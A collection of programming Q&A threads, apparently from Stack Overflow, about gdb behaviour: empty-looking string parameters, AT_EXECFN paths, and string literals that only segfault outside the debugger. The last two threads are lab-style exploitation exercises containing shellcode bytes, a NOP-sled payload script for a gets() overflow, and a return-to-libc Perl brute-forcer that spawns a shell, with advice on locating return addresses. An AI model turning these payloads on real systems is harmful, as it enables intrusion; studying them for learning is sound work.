I have a multithreaded (pthreads) program in which main() calls a function omp_file_open_all() and passes in a string as char* alongwith other arguments. I was debugging something using gdb and saw that gdb does not print out the string value correctly, whereas a printf inside the function prints it out correcly.
Breakpoint 1, omp_file_open_all (fd=0x423bb950, filename=0x7f605df078e0 "", mode=-16843009) at pthread_coll_file_open.c:29
29 if(omp_get_thread_num() == MASTER)
(gdb) print filename
$1 = 0x7f605df078e0 ""
So gdb shows filename as empty, whereas a printf inside the function outputs the correct value as "/tmp/test.out". The function being called (omp_file_open_all) is defined as follows (not in the same file as main()):
int omp_file_open_all (int fd, char* filename, int mode);
I cant post my program here as this is a part of a larger code thats approx. 1500 lines of code. 'filename' is a global variable and is set in main() by the main thread before newer threads are spawned.
So this is not an error, and I merely stumbled across it, but I am interested in finding out why gdb does not display the correct value.
OS: 64bit OpenSUSE,
gdb 6.8
Thanks for your help.
There might be some thing going wrong in your code. With the following code snippet, I am getting the string printed by gdb correctly.
#include <stdio.h>
#include <stdlib.h>
void checkString( char* fileName )
{
printf("%s", fileName);
}
int main()
{
char* name = "temp";
checkString(name);
return 0;
}
mahesh-babu-vattiguntas-macbook-pro:Desktop mahesh$ gdb gdb.out
GNU gdb 6.3.50-20050815 (Apple version gdb-1469) (Wed May 5 04:36:56 UTC 2010)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .. done
(gdb) b gdb.c:6
Breakpoint 1 at 0x100000ebc: file gdb.c, line 6.
(gdb) run gdb.out
Starting program: /Users/mahesh/Desktop/gdb.out gdb.out
Reading symbols for shared libraries +. done
Breakpoint 1, checkString (fileName=0x100000f05 "temp") at gdb.c:6
6 printf("%s", fileName);
(gdb) p fileName
$1 = 0x100000f05 "temp"
(gdb)
Try stepping forward one line (gdb "s" command) after you hit the breakpoint, then try printing it again. I've sometimes seen gdb have trouble displaying parameter values correctly when breaking at the beginning of a function.
My first guess was that there is a scoping issue, since the name of the function parameter and your global variable is identical. However, this does not seem to be the case for the following very small program:
#include <cstdio>
static char const* filename = "something";
int foobar(char const* filename)
{
printf("%s\n", filename);
}
int main(int argc, char** argv)
{
return foobar("somethingelse");
}
Compiled with:
g++ -ggdb -g3 -O0 test.cpp -o test
GDB (7.2, also on x64 but Ubuntu) gives:
Breakpoint 1, foobar (filename=0x400706 "somethingelse") at test.cpp:7
7 printf("%s\n", filename);
(gdb) p filename
$1 = 0x400706 "somethingelse"
So it's not about scoping per-se. Also, the output suggests that the parameter is indeed an empty string at execution time. Could you please provide us with the output of bt at the same time you break into the debugger? Last two stack frames are sufficient.
Related
Need to extract a few values from an auxiliary vector. You can read more about it here. That's where I got and slightly modified code below:
#include <stdio.h>
#include <elf.h>
int main(int argc, char* argv[], char* envp[])
{
Elf64_auxv_t *auxv;
while (*envp++ != NULL); /* from stack diagram above: *envp = NULL marks end of envp */
for (auxv = (Elf64_auxv_t *)envp; auxv->a_type != AT_NULL; auxv++)
/* auxv->a_type = AT_NULL marks the end of auxv */
{
if (AT_EXECFN == auxv->a_type)
{
char *str = (char *)auxv->a_un.a_val;
printf("%s\n", str);
break;
}
}
return 0;
}
I compile the code with gcc -g aux-extractor.c.
Here is the weird part. If I run the code as ./a.out I get and output as ./a.out which makes sense. However when I debug it in gdb and print the value at a specific address I get /tmp/a.out, which also makes sense I compiled my code in /tmp directory. My question is why I'm getting two different results, a.out and /tmp/a.out?
Here is my debugging session (pay attention to the output of the x/s command:
$ gdb ./a.out
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu". T
ype "show configuration" for configuration details.
For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./a.out...
(gdb) start
Temporary breakpoint 1 at 0x1149: file auxv-extractor.c, line 5.
Starting program: /tmp/a.out
Temporary breakpoint 1, main (argc=21845, argv=0x0, envp=0x5555555551c0 <__libc_csu_init>) at auxv-extractor.c:5
5 {
(gdb) break 15
Breakpoint 2 at 0x555555555198: file auxv-extractor.c, line 15.
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0x7fffffffe408, envp=0x7fffffffe520) at auxv-extractor.c:15
15 printf("%s\n", str);
(gdb) x/s str
0x7fffffffefed: "/tmp/a.out"
(gdb)
When gdb runs your program, it does so by executing /tmp/a.out, having expanded the path from the ./a.out on the command line.
GDB has a habit of starting the program with $(realpath ./a.out) when ./a.out is given on the command line.
I've tried to set exec-wrapper as a way to avoid this, but was not successful -- even when setting exec-wrapper wrapper.sh with this contents:
#!/bin/bash
exec -a "./a.out" "$#"
the AT_EXECFN remains /tmp/a.out.
This answer shows how to pause the program after main() to make it easy to attach GDB from "outside". AT_EXECFN will be set to ./a.out as expected, and you can continue debugging as you normally would.
I have the simple .c file that is supposed to fail(I know where it fails, I put the bug in there intentionally):
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s argument\n", argv[0]);
return EXIT_FAILURE;
}
char *hello = "hello";
*hello = 'H';
fprintf(stdout, "%s, %s!\n", hello, argv[1]);
return EXIT_SUCCESS;
}
Part 1) I save it as "hello.c" and compile without debugging flags by gcc hello.c -o hello.
Then, I wish to go line by line through the main function. I try to use gdb as follows:
Run gdb ./hello
Set breakpoint by break main
Run run 123
s -> fails
Here is the outcome:
(gdb) info func
All defined functions:
Non-debugging symbols:
0x0000000000000568 _init
0x0000000000000590 fprintf#plt
0x00000000000005a0 __cxa_finalize#plt
0x00000000000005b0 _start
0x00000000000005e0 deregister_tm_clones
0x0000000000000620 register_tm_clones
0x0000000000000670 __do_global_dtors_aux
0x00000000000006b0 frame_dummy
0x00000000000006ba main
0x0000000000000740 __libc_csu_init
0x00000000000007b0 __libc_csu_fini
0x00000000000007b4 _fini
(gdb) break main
Breakpoint 1 at 0x6be
(gdb) r
Starting program: /mnt/c/Users/User/Documents/Debugging/hello
Breakpoint 1, 0x00000000080006be in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
__fprintf (stream=0x7fffff3ec680 <_IO_2_1_stderr_>, format=0x80007c4 "Usage: %s argument\n") at fprintf.c:27
27 fprintf.c: No such file or directory.
Why does this happen? Why does it fail like this by trying to find a file fprintf? Thought the preprocessed headers should deal with the required implementation code.
Part 2) When I however compile with the -g, it works for some reason. But running the program in gdb does not yield a segmentation fault as expected :/ Why?
Again, see:
$ ./hello 123
Segmentation fault (core dumped)
but
(gdb) run 123
Starting program: /mnt/c/Users/NichlasDesktop/Documents/uni/Compsys/Exercises/Debugging/exercise_code/hello 123
Hello, 123!
[Inferior 1 (process 632) exited normally]
Part 1)
s -> fails
Without debugging information, gdb is unable to map instructions to source code - file paths and line numbers. The s/step command tells gdb to execute instructions that correspond to the current statement in the source language. gdb has no way of telling what that is, so it continues till wherever in code the source position ("SPOS") information is available. That happens to be in libc where fprintf is defined. However the source code for fprintf is not available in your environment, hence that message.
You could step through the individual instructions using the si/stepi command, this does not need debugging information to be present.
You did not show what happens if you continue execution from that point, I suspect it would eventually hit the segmentation fault.
Why does this happen? Why does it fail like this by trying to find a file fprintf? Thought the preprocessed headers should deal with the required implementation code.
That is not what headers are. They don't contain source code.
Part 2) When I however compile with the -g, it works for some reason. But running the program in gdb does not yield a segmentation fault as expected :/ Why?
gdb or any other debugger would arrange for the executable text segment to be mapped private instead of shared as in the usual run case (mmap with MAP_PRIVATE instead of MAP_SHARED). This is because the debugger needs the text segment to be writable so that instructions can be overwritten to insert breakpoints etc.
The "hello" you put in there is a constant string literal that is stored in the read-only text segment of the executable. This is why writing to it causes a segmentation fault during the normal run - the text segment is mapped shared. Inside the debugger however the text segment is mapped private, so you are able to write to it.
I've been tasked with locating the bug in the following code, and fixing it:
/* $Id: count-words.c 858 2010-02-21 10:26:22Z tolpin $ */
#include <stdio.h>
#include <string.h>
/* return string "word" if the count is 1 or "words" otherwise */
char *words(int count) {
char *words = "words";
if(count==1)
words[strlen(words)-1] = '\0';
return words;
}
/* print a message reportint the number of words */
int print_word_count(char **argv) {
int count = 0;
char **a = argv;
while(*(a++))
++count;
printf("The sentence contains %d %s.\n", count, words(count));
return count;
}
/* print the number of words in the command line and return the number as the exit code */
int main(int argc, char **argv) {
return print_word_count(argv+1);
}
The program works well for every number of words given to it, except for one word. Running it with ./count-words hey will cause a segmentation fault.
I'm running my code on the Linux subsystem on Windows 10 (that's what I understand it is called at least...), with the official Ubuntu app.
When running the program from terminal, I do get the segmentation fault, but using gdb, for some reason the program works fine:
(gdb) r hey
Starting program: .../Task 0/count-words hey
The sentence contains 1 word.
[Inferior 1 (process 87) exited with code 01]
(gdb)
After adding a breakpoint on line 9 and stepping through the code, I get this:
(gdb) b 9
Breakpoint 1 at 0x400579: file count-words.c, line 9.
(gdb) r hey
Starting program: /mnt/c/Users/tfrei/Google Drive/BGU/Semester F/Computer Architecture/Labs/Lab 2/Task 0/count-words hey
Breakpoint 1, words (count=1) at count-words.c:9
9 if(count==1)
(gdb) s
10 words[strlen(words)-1] = '\0';
(gdb) s
strlen () at ../sysdeps/x86_64/strlen.S:66
66 ../sysdeps/x86_64/strlen.S: No such file or directory.
(gdb) s
67 in ../sysdeps/x86_64/strlen.S
(gdb) s
68 in ../sysdeps/x86_64/strlen.S
(gdb)
The weird thing is that when I ran the same thing from a "true" Ubuntu (using a virtual machine on Windows 10), the segmentation fault did happen on gdb.
I tend to believe that the reason for this is somehow related to my runtime environment (the "Ubuntu on Windows" thing), but could not find anything that will help me.
This is my makefile:
all:
gcc -g -Wall -o count-words count-words.c
clean:
rm -f count-words
Thanks in advance
I'm asking why it didn't happen with gdb
It did happen with GDB, when run on a real (or virtual) UNIX system.
It didn't happen when running under the weird "Ubuntu on Windows" environment, because that environment is doing crazy sh*t. In particular, for some reason the Windows subsystem maps usually readonly sections (.rodata, and probably .text as well) with writable permissions (which is why the program no longer crashes), but only when you run the program under debugger.
I don't know why exactly Windows does that.
Note that debuggers do need to write to (readonly) .text section in order to insert breakpoints. On a real UNIX system, this is achieved by ptrace(PTRACE_POKETEXT, ...) system call, which updates the readonly page, but leaves it readonly for the inferior (being debugged) process.
I am guessing that Windows is imperfectly emulating this behavior (in particular does not write-protect the page after updating it).
P.S. In general, using "Ubuntu on Windows" to learn Ubuntu is going to be full of gotchas like this one. You will likely be much better off using a virtual machine instead.
This function is wrong
char *words(int count) {
char *words = "words";
if(count==1)
words[strlen(words)-1] = '\0';
return words;
}
The pointer words points to the string literal "words". Modifying a string
literal is undefined behaviour and in most system string literals are stored in
read-only memory, so doing
words[strlen(words)-1] = '\0';
will lead into a segfault. That's the behaviour you see in Ubuntu. I don't know
where strings literals are stored in windows executables, but modifying a string
literal is undefined behaviour and anything can happen and it's pointless to try
to deduce why sometimes things work and why sometimes things don't work. That's
the nature of undefined behaviour.
edit
Pablo thanks, but I'm not asking about the bug itself , and why the segmentation fault happened. I'm asking why it didn't happen with gdb. Sorry if that was not clear enough.
I don't know why it doesn't happent to your, but when I run your code on my gdb I get:
Reading symbols from ./bug...done.
(gdb) b 8
Breakpoint 1 at 0x6fc: file bug.c, line 8.
(gdb) r hey
Starting program: /tmp/bug hey
Breakpoint 1, words (count=1) at bug.c:8
8 words[strlen(words)-1] = '\0';
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0x0000555555554713 in words (count=1) at bug.c:8
8 words[strlen(words)-1] = '\0';
(gdb)
I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?
Vulnerable.c
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}
I compiled the above program with
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Shellcode.py
print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6
I have called this python program in command line by
python shellcode.py | ./vulnerable
I suggest you to turn on core dump:
ulimit -c unlimited
then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141
Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.
Can you describe the steps to find out the return address?
c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode
Breakpoint 1, vulnerable () at vulnerable.c:17
17 printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
called by frame at 0xbffff7cc
source language c.
Arglist at 0xbffff7bc, args:
Locals at 0xbffff7bc, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff7bc, eip at 0xbffff7c0
The example shows that the return address eip 0x80484c9 is saved at 0xbffff7c0.
I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.